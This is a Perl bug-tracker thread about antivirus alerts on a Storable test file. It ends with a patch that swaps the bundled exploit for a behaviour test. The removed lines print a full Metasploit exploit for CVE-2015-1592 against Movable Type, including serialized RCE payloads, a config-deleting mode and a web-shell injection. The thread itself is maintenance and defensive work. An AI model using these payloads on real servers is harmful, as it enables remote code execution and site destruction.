Fwd: [perlorg/perlweb] Perl source code archive perl-5.28.0.tar.gz triggers CVE2015-1592 alert in McAfee (#280)

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Migrated from rt.perl.org#133706 (status was 'resolved')

Searchable as RT133706$

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From @rspier

FYI.

-R

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Subject​: [perlorg/perlweb] Perl source code archive perl-5.28.0.tar.gz
triggers CVE2015-1592 alert in McAfee (#280)

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The file *dist/Storable/t/CVE-2015-1592.inc* triggers a trojan alert in the
McAfee scanner.
The file performs a test if the vulnerability is still present and the
alert is a false positive.

It would be helpful to report this false positive to McAfee so they can
update their database.

Alternatively, the file could be obfuscated and re-assembled as part of the
build, so that this process does not have to be repeated for every release.

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I ran the archive through Virustotal.com and only McAfee of 49 scanners
reported this issue.

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Date​: Fri, Nov 30, 2018 at 11​:45 PM
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The file triggers a pop-up on my computer​:

Symantec Endpoint Protection Notification​:

Scan type​: Auto-Protect Scan
Event​: Risk Found!
Security risk detected​: Hacktool
File​:
C​:\src\perl\dist\perl-5.28.0-x86_64-9AbTH5QuUX.tmp\perl-5.28.0\dist\Storable\t\CVE-2015-1592.inc
Location​:
C​:\src\perl\dist\perl-5.28.0-x86_64-9AbTH5QuUX.tmp\perl-5.28.0\dist\Storable\t
(…)
Action taken​: Pending Side Effects Analysis : Access denied
Date found​: 1. desember 2018 08​:43​:29

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From @tonycoz

On Sat, 01 Dec 2018 10​:12​:18 -0800, robert wrote​:

FYI.

Maybe remove the packaged exploit code entirely, instead test the detection logic, per the attached patch.

I'll apply this in a couple of days unless someone objects.

Since this isn't actually a security issue in perl, it doesn't need a CVE or a release pushed. I'll make the ticket public when I apply the patch (or anyone can make it public sooner.)

Tony

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0001-perl-133706-remove-exploit-code-from-Storable.patch

From d53cbdae358f6a861c9d22948e36cb9b3a6a5a49 Mon Sep 17 00:00:00 2001
From: Tony Cook <tony@develop-help.com>
Date: Mon, 3 Dec 2018 16:15:52 +1100
Subject: (perl #133706) remove exploit code from Storable

Storable packaged the metasploit framework code for CVE-2015-1592,
which triggered virus scanners.

To prevent that test for the underlying behaviour we trigger the
warning on.
---
 MANIFEST                          |   1 -
 dist/Storable/t/CVE-2015-1592.inc | 261 --------------------------------------
 dist/Storable/t/CVE-2015-1592.t   |  25 ++--
 3 files changed, 12 insertions(+), 275 deletions(-)
 delete mode 100644 dist/Storable/t/CVE-2015-1592.inc

diff --git a/MANIFEST b/MANIFEST
index 566e98310e..4276316980 100644
--- a/MANIFEST
+++ b/MANIFEST
@@ -3662,7 +3662,6 @@ dist/Storable/t/code.t			See if Storable works
 dist/Storable/t/compat01.t		See if Storable works
 dist/Storable/t/compat06.t		See if Storable works
 dist/Storable/t/croak.t			See if Storable works
-dist/Storable/t/CVE-2015-1592.inc	See if Storable works
 dist/Storable/t/CVE-2015-1592.t		See if Storable works
 dist/Storable/t/dclone.t		See if Storable works
 dist/Storable/t/destroy.t		Test Storable in global destructon
diff --git a/dist/Storable/t/CVE-2015-1592.inc b/dist/Storable/t/CVE-2015-1592.inc
deleted file mode 100644
index 481dba5307..0000000000
--- a/dist/Storable/t/CVE-2015-1592.inc
+++ /dev/null
@@ -1,261 +0,0 @@
-#!/usr/bin/perl
-
-=pod
-
-class MetasploitModule < Msf::Exploit::Remote
-  Rank = GoodRanking
-
-  include Msf::Exploit::Remote::HttpClient
-
-  def initialize(info = {})
-    super(update_info(info,
-      'Name'           => 'SixApart MovableType Storable Perl Code Execution',
-      'Description'    => %q{
-          This module exploits a serialization flaw in MovableType before 5.2.12 to execute
-          arbitrary code. The default nondestructive mode depends on the target server having
-          the Object::MultiType and DateTime Perl modules installed in Perl's @INC paths.
-          The destructive mode of operation uses only required MovableType dependencies,
-          but it will noticeably corrupt the MovableType installation.
-      },
-      'Author'         =>
-        [
-          'John Lightsey',
-        ],
-      'License'        => MSF_LICENSE,
-      'References'     =>
-        [
-          [ 'CVE', '2015-1592' ],
-          [ 'URL', 'https://movabletype.org/news/2015/02/movable_type_607_and_5212_released_to_close_security_vulnera.html' ],
-        ],
-      'Privileged'     => false, # web server context
-      'Payload'        =>
-        {
-          'DisableNops' => true,
-          'BadChars'    => ' ',
-          'Space'       => 1024,
-        },
-      'Compat'         =>
-        {
-          'PayloadType' => 'cmd'
-        },
-      'Platform'       => ['unix'],
-      'Arch'           => ARCH_CMD,
-      'Targets'        => [['Automatic', {}]],
-      'DisclosureDate' => 'Feb 11 2015',
-      'DefaultTarget'  => 0))
-
-    register_options(
-      [
-        OptString.new('TARGETURI', [true, 'MoveableType cgi-bin directory path', '/cgi-bin/mt/']),
-        OptBool.new('DESTRUCTIVE', [true, 'Use destructive attack method (more likely to succeed, but corrupts target system.)', false])
-      ], self.class
-    )
-
-  end
-
-=cut
-
-# generate config parameters for injection checks
-
-use Storable;
-
-{
-
-    package XXXCHECKXXX;
-
-    sub STORABLE_thaw {
-        return 1;
-    }
-
-    sub STORABLE_freeze {
-        return 1;
-    }
-
-}
-
-my $check_obj = bless { ignore => 'this' }, XXXCHECKXXX;
-my $frozen2 = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze({ x => $check_obj});
-$frozen2 = unpack 'H*', $frozen2;
-#print "LFI test for storable flaw is: $frozen2\n";
-
-{
-    package DateTime;
-    use overload '+' => sub { 'ignored' };
-}
-
-=pod
-
-  def check
-    vprint_status("Sending storable test injection for XXXCHECKXXX.pm load failure")
-    res = send_request_cgi({
-        'method'    => 'GET',
-        'uri'       => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
-        'vars_get' => {
-          '__mode' => 'retry',
-          'step'   => 'configure',
-          'config' => '53455247000000000000000304080831323334353637380408080803010000000413020b585858434845434b58585801310100000078'
-        }
-      })
-
-    unless res && res.code == 200 && res.body.include?("Can't locate XXXCHECKXXX.pm")
-      vprint_status("Failed XXXCHECKXXX.pm load test");
-      return Exploit::CheckCode::Safe
-    end
-    Exploit::CheckCode::Vulnerable
-  end
-
-  def exploit
-    if datastore['DESTRUCTIVE']
-      exploit_destructive
-    else
-      exploit_nondestructive
-    end
-  end
-
-=cut
-
-#!/usr/bin/perl
-
-# Generate nondestructive config parameter for RCE via Object::MultiType
-# and Try::Tiny. The generated value requires minor modification to insert
-# the payload inside the system() call and resize the padding.
-
-use Storable;
-
-{
-    package Object::MultiType;
-    use overload '+' => sub { 'ingored' };
-}
-
-{
-    package Object::MultiType::Saver;
-}
-
-#{
-#    package DateTime;
-#    use overload '+' => sub { 'ingored' };
-#}
-
-{
-    package Try::Tiny::ScopeGuard;
-}
-
-my $try_tiny_loader = bless {}, 'DateTime';
-my $multitype_saver = bless { c => 'MT::run_app' }, 'Object::MultiType::Saver';
-my $multitype_coderef = bless \$multitype_saver, 'Object::MultiType';
-my $try_tiny_executor = bless [$multitype_coderef, 'MT;print qq{Content-type: text/plain\n\n};system(q{});' . ('#' x 1025) . "\nexit;"], 'Try::Tiny::ScopeGuard';
-
-my $data = [$try_tiny_loader, $try_tiny_executor];
-my $frozen1 = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze($data);
-$frozen1 = unpack 'H*', $frozen1;
-#print "RCE payload requiring Object::MultiType and DateTime: $frozen1\n";
-
-=pod
-
-  def exploit_nondestructive
-    print_status("Using nondestructive attack method")
-    config_payload = "53455247000000000000000304080831323334353637380408080802020000001411084461746554696d6503000000000411155472793a3a54696e793a3a53636f7065477561726402020000001411114f626a6563743a3a4d756c7469547970650411184f626a6563743a3a4d756c7469547970653a3a536176657203010000000a0b4d543a3a72756e5f6170700100000063013d0400004d543b7072696e742071717b436f6e74656e742d747970653a20746578742f706c61696e5c6e5c6e7d3b73797374656d28717b"
-    config_payload <<  payload.encoded.unpack('H*')[0]
-    config_payload << "7d293b"
-    config_payload << "23" * (1025 - payload.encoded.length)
-    config_payload << "0a657869743b"
-
-    print_status("Sending payload (#{payload.raw.length} bytes)")
-
-    send_request_cgi({
-      'method'    => 'GET',
-      'uri'       => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
-      'vars_get' => {
-        '__mode' => 'retry',
-        'step'   => 'configure',
-        'config' => config_payload
-      }
-    }, 5)
-  end
-
-=cut
-
-#!/usr/bin/perl
-
-# Generate destructive config parameter to unlink mt-config.cgi
-
-use Storable;
-
-{
-    package CGITempFile;
-}
-
-my $unlink_target = "mt-config.cgi";
-my $cgitempfile = bless \$unlink_target, "CGITempFile";
-
-$data = [$cgitempfile];
-my $frozen_data = Storable::freeze($data);
-my $frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . $frozen_data;
-$frozen = unpack 'H*', $frozen;
-#print "RCE unlink payload requiring CGI: $frozen\n";
-
-# $Storable::DEBUGME = 1;
-# $^W = 1;
-Storable::thaw($frozen_data);
-
-=pod
-
-def exploit_destructive
-    print_status("Using destructive attack method")
-    # First we need to delete mt-config.cgi using the storable injection
-
-    print_status("Sending storable injection to unlink mt-config.cgi")
-
-    res = send_request_cgi({
-      'method'    => 'GET',
-      'uri'       => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
-      'vars_get' => {
-        '__mode' => 'retry',
-        'step'   => 'configure',
-        'config' => '534552470000000000000003040808313233343536373804080808020100000004110b43474954656d7046696c650a0d6d742d636f6e6669672e636769'
-      }
-    })
-
-    if res && res.code == 200
-      print_status("Successfully sent unlink request")
-    else
-      fail_with(Failure::Unknown, "Error sending unlink request")
-    end
-
-    # Now we rewrite mt-config.cgi to accept a payload
-
-    print_status("Rewriting mt-config.cgi to accept the payload")
-
-    res = send_request_cgi({
-      'method'    => 'GET',
-      'uri'       => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
-      'vars_get'  => {
-        '__mode'             => 'next_step',
-        'step'               => 'optional',
-        'default_language'   => 'en_us',
-        'email_address_main' => "x\nObjectDriver mysql;use CGI;print qq{Content-type: text/plain\\n\\n};if(my $c = CGI->new()->param('xyzzy')){system($c);};unlink('mt-config.cgi');exit;1",
-        'set_static_uri_to'  => '/',
-        'config'             => '5345524700000000000000024800000001000000127365745f7374617469635f66696c655f746f2d000000012f', # equivalent to 'set_static_file_to' => '/',
-      }
-    })
-
-    if res && res.code == 200
-      print_status("Successfully sent mt-config rewrite request")
-    else
-      fail_with(Failure::Unknown, "Error sending mt-config rewrite request")
-    end
-
-    # Finally send the payload
-
-    print_status("Sending payload request")
-
-    send_request_cgi({
-      'method'    => 'GET',
-      'uri'       => normalize_uri(target_uri.path, 'mt.cgi'),
-      'vars_get'  => {
-        'xyzzy'   => payload.encoded,
-      }
-    }, 5)
-  end
-
-=cut
diff --git a/dist/Storable/t/CVE-2015-1592.t b/dist/Storable/t/CVE-2015-1592.t
index 2730cdc9d1..a71f44c0cb 100644
--- a/dist/Storable/t/CVE-2015-1592.t
+++ b/dist/Storable/t/CVE-2015-1592.t
@@ -1,22 +1,21 @@
 #!/usr/bin/perl
 
 use strict;
+use warnings;
 use Test::More;
+use Storable qw(freeze thaw);
 plan tests => 1;
 
-use File::Temp qw(tempdir);
-use File::Spec;
-my $tmp_dir = tempdir(CLEANUP => 1);
-my $tmp_file = File::Spec->catfile($tmp_dir, 'sploit');
+# this original worked with the packaged exploit, but that
+# triggers virus scanners, so test for the behaviour instead
+my $x = bless \(my $y = "mt-config.cgi"), "CGITempFile";
+
+my $frozen = freeze($x);
 
-my $file = __FILE__;
-$file =~ s/\.t$/.inc/;
-my $inc = $ENV{PERL_CORE} ? "-Ilib -I../../lib" : "-I".join(" -I", @INC);
-system qq($^X $inc -w "$file" 2>$tmp_file);
-open(my $fh, "<", $tmp_file) or die "$tmp_file $!";
 {
-  local $/;
-  my $err = <$fh>;
-  like($err, qr/SECURITY: Movable-Type CVE-2015-1592 Storable metasploit attack/,
-       'Detect CVE-2015-1592');
+    my $warnings = '';
+    local $SIG{__WARN__} = sub { $warnings .= "@_" };
+    thaw($frozen);
+    like($warnings, qr/SECURITY: Movable-Type CVE-2015-1592 Storable metasploit attack/,
+         'Detect CVE-2015-1592');
 }
-- 
2.11.0

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The RT System itself - Status changed from 'new' to 'open'

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From @tonycoz

On Sun, 02 Dec 2018 21​:25​:01 -0800, tonyc wrote​:

On Sat, 01 Dec 2018 10​:12​:18 -0800, robert wrote​:

FYI.

Maybe remove the packaged exploit code entirely, instead test the
detection logic, per the attached patch.

I'll apply this in a couple of days unless someone objects.

Applied as fb5f378 with an improved commit message.

Tony

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@tonycoz - Status changed from 'open' to 'pending release'

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From @khwilliamson

Thank you for filing this report. You have helped make Perl better.

With the release today of Perl 5.30.0, this and 160 other issues have been
resolved.

Perl 5.30.0 may be downloaded via​:
https://metacpan.org/release/XSAWYERX/perl-5.30.0

If you find that the problem persists, feel free to reopen this ticket.

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@khwilliamson - Status changed from 'pending release' to 'resolved'